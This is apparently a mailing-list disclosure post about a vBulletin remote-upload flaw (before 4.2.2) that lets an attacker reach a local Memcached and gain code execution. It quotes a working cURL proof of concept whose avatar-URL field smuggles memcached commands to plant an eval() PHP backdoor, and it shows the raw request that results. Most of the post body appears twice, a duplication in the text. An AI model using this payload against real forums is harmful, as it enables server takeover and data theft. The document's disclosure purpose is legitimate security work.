Not really a 0day since it's fixed in some versions, but still an
exploit that doesn't seem to be "that" public. Please note, I didn't
find this.
vBulletin's memcache setting is vulnerable in certain versions(all
before 4.2.2) to an RCE. vBulletin seem to have refused to classify it
as a vulnerability or post anything about it, or put anything in the
announcements on their website. They say "PL2 (4.2.2) should prevent the
use of localhost," however that doesn't help people using previous
versions(which they appear to support with patches, still.)
They also haven't updated previous versions of vBulletin for this bug,
despite it being reported that it works on versions prior to 4.2.2.
Of course though, the most important thing is, they haven't announced
there even is/was a vulnerability in any version.
Anyways, here it is:
> Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4
> The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.
>
> On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.
>
> Proof-of-Concept using cURL:
> â??
> $ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012
f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%2
00%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if
%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27e
val%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
> â??
>
> This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:
> â??
> HEAD /
> set pluginlist 0 0 96
> a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUE
ST['eval']);die();}
> ";}
> quit
> .png HTTP/1.0
> Host: localhost
> User-Agent: vBulletin via PHP
> Connection: close
>
> â??
> This will cause the Memcached to update the `pluginlist` to contain the malicious code.
>
> Furthermore, the remote upload happily follows all kinds of redirects if provided with an appropriate Location header.
(P.S: Dan, if you're reading this, pls come back <3)
exploit that doesn't seem to be "that" public. Please note, I didn't
find this.
vBulletin's memcache setting is vulnerable in certain versions(all
before 4.2.2) to an RCE. vBulletin seem to have refused to classify it
as a vulnerability or post anything about it, or put anything in the
announcements on their website. They say "PL2 (4.2.2) should prevent the
use of localhost," however that doesn't help people using previous
versions(which they appear to support with patches, still.)
They also haven't updated previous versions of vBulletin for this bug,
despite it being reported that it works on versions prior to 4.2.2.
Of course though, the most important thing is, they haven't announced
there even is/was a vulnerability in any version.
Anyways, here it is:
> Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4
> The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.
>
> On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.
>
> Proof-of-Concept using cURL:
> â??
> $ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012
f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%2
00%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if
%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27e
val%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
> â??
>
> This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:
> â??
> HEAD /
> set pluginlist 0 0 96
> a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUE
ST['eval']);die();}
> ";}
> quit
> .png HTTP/1.0
> Host: localhost
> User-Agent: vBulletin via PHP
> Connection: close
>
> â??
> This will cause the Memcached to update the `pluginlist` to contain the malicious code.
>
> Furthermore, the remote upload happily follows all kinds of redirects if provided with an appropriate Location header.
(P.S: Dan, if you're reading this, pls come back <3)
--
-- Joshua Rogers
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBAgAGBQJVzvdFAAoJEJCcj5QpbmADFrgP/02TdaYNr+YGnDgCj03eQ+05
tgZchUKAk19Bxh1sf4s13EvpA+PRLFuorus9osWf7apE8ZVfS2H/fcd6hpd8CXOa
J8oRP+ALZinV84A9miReDScS4BVskpf7Kw6hAP3BUWwX1vi4lnzx2la6GiEe4X0Y
l3ODvf4AT4CLuYsR0f1gXIUU0A96mFYIRCo8oqb2cRCq871KqRdHC+1EymY4OdJ3
Sn3KJ2uZhlMIdGdiTs0FICZV34awlQjVBogQEzJM9vyD9EdLhTPQtL90Vvexz2U1
9Ru+grVn2aTj3GC1rQhaoLnEV9x8hXkCVOKK0isJ1M7Ml8HE2yartm5jiQa09nTY
PKZCKMgIJ8B5KQkFWxl/fJI6sLNMCskYZ1lktv8SeT3FGxxAoTvK5zoW1FVVCaeV
ETHIocme+CQVarh1dPBgfI2kE8nVu9jsNKhojwnNODp20nEPXZIBu9f8Ew7PLfsl
m73c+exwgDMBlaL4ERfZhzasLssiCN6LtB4Z5NXyNOtwxnMAzxA9WSyweqhsTPdT
7ELehPqqJZimfljjZMkqvgtNLaBzWWBmO1nP5f4UWh4qQwcPW0+gnkAubCefRMYI
NE7+YwFKx+Oj0PCKkvEix6pXuUidWyIKvczA7HrSpi5nRecXCxIlv2v7WCunWh9l
IaAd3ITmyPrsTkWwhwv8
=saOP
-----END PGP SIGNATURE-----
[ reply ]